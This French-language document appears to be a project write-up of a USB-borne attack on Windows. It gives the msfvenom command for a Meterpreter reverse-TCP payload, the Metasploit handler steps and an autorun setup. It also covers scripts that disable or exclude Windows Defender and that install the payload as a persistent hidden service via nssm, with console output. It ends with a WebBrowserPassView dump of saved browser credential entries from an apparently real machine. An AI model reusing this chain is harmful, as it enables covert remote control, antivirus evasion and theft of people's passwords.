



# Outils utilisés

WebBrowserPassView.exe

Utilisé pour extraire les mots de passe du système.

Nssm.exe

Installation des fichiers en tant que service Windows garantir la persistance du payload.

admin.vbs

Script permettant d'exécuter exclu.bat en tant qu'administrateur.

exclu.bat

Script assurant les exclusions des disques amovibles de la détection de Windows Defender, exécutant WebBrowserPassView.exe de manière invisible et démarrant launch.bat.



# Réglage de l'Environnement de Travail



## 1 Création du Payload (file.exe)

```
msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=XXX.XXX.XXX.XXX LPORT=XXXX -o file.exe
```

## 2 La copie de tous les Outils sur l' USB

Il faut désactiver Defender avant de la copie du Payload et WebBrowserPassView.exe.

Lancer AutorunCreator.exe pour créer une exécution automatique sur key.vbs

## 3 Lancer la session Metasploit :

```
***msfconsole => use multi/handler => set payload windows/meterpreter/reverse_tcp
```

```
***set lhost XXX.XXX.XXX.XXX => set lport XXXX
```

```
***exploit
```

[illegible]

Metasploit tip: Use the `edit` command to open the currently active module in your editor.

1

```
meterpreter > help
```

Command	Description
?	Help menu
background	Backgrounds the current session
bg	Alias for background
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread

# Processus de launch.bat

1

## Recherche des fichiers

Recherche des fichiers file.exe et nssm.exe sur toutes les unités amovibles connectées.

2

## Copie des fichiers

Copie des fichiers s'ils sont trouvés, avec installation de file.exe en tant que service Windows via nssm.exe.





# Processus de launch.bat

3

## Configuration du service

Configuration du service pour s'exécuter en arrière-plan, assurant la persistance du payload.

4

## Démarrage du service

Démarrage du service, garantissant la présence continue du malware sur l'appareil compromis.



```
C:\>
Copying file.exe from F:\file.exe to C:\WINDOWS\file.exe...
Copying nssm.exe from F:\nssm.exe to C:\WINDOWS\nssm.exe...
Files copied successfully.
Installing file.exe as a Windows Service...
Service "MyFileService" installed successfully!
file.exe installed as a Windows Service.
Configuring MyFileService to run in the background...
Set parameter "AppNoConsole" for service "MyFileService".
MyFileService configured to run in the background.
Starting MyFileService...
The MyFileService service is starting.
The MyFileService service was started successfully.

MyFileService started successfully.
Not enough memory resources are available to process this command.

C:\Windows\System32>
```

# La sortie de WebBrowserPassView.exe

WebBrowserPassView								
File Edit View Options Help								
URL	Web Browser	User Name	Password	Password Stren...	User Name Field	Password Field	Created Time	Modified 1
android://-Kyd7N0kG3k5bd...	Chrome			Very Strong			1/30/2024 12:48:40...	
android://7fmduHKTdHHrl...	Chrome			Weak			9/11/2022 12:58:47...	
android://dKranQB7c5H2W...	Chrome			Strong				
android://eGoo1Nb-NjKEnl...	Chrome			Very Strong			2/5/2024 1:55:48 PM	
android://tkbJWk8ufjcDRon...	Chrome			Very Strong			5/16/2022 12:58:57...	
android://KnIfW5sbPuDGayt...	Chrome			Strong			3/26/2022 5:50:50 ...	
android://OpXSdyXyTBSVpR...	Chrome			Medium			9/3/2022 2:57:51 AM	
android://OpXSdyXyTBSVpR...	Chrome			Medium			1/24/2023 3:20:39 ...	
android://OuoG101Ex6C4ht...	Chrome							
android://pBowWSLvFMHp-...	Chrome			Strong				
android://qbMQCZh-CU_SB...	Chrome			Strong			6/28/2022 2:31:22 ...	
android://rF2BMtDX6N5uy...	Chrome			Strong			9/4/2022 4:08:33 AM	
android://RtPgaikrdG1Zx4N...	Chrome			Strong			1/17/2023 5:17:18 ...	
android://rtZWCImmPn_5m...	Chrome			Medium			3/22/2023 11:03:13...	
android://tHWGdQ5VfhlgG...	Chrome			Medium			1/26/2023 12:45:49...	
android://zQxb6hXv1MJiC1Y...	Chrome			Very Weak			6/22/2022 2:15:23 ...	
android://ZVw9D-D2zc79yA...	Chrome			Very Strong			8/21/2022 10:47:57...	
http://10.19.0.1:1000/	Chrome			Very Strong	username	password	9/29/2021 3:38:02 ...	
http://192.168.1.1/	Chrome			Very Weak	Username	Password	5/31/2020 11:20:55...	
http://192.168.1.1/login.htm	Chrome			Very Weak	username	password	11/19/2020 10:50:0...	
http://www.megatypers.com...	Chrome			Strong	email	password	12/18/2022 4:10:54...	
http://www.scan-and-solve.c...	Chrome			Very Strong	emailAddress	password	3/6/2023 10:01:53 ...	
http://www.services.defense...	Chrome			Weak	cin	codecin	7/10/2021 2:48:42 ...	
http://www.utm.rnu.tn/reori...	Chrome			Weak	etudiant_cin	etudiant_empreinte	1/26/2022 7:14:47 ...	
https://1fichier.com/register...	Chrome			Very Strong	mail	pass	12/10/2021 7:04:51...	
142 Passwords, 1 Selected				NirSoft Freeware. <a href="https://www.nirsoft.net">https://www.nirsoft.net</a>				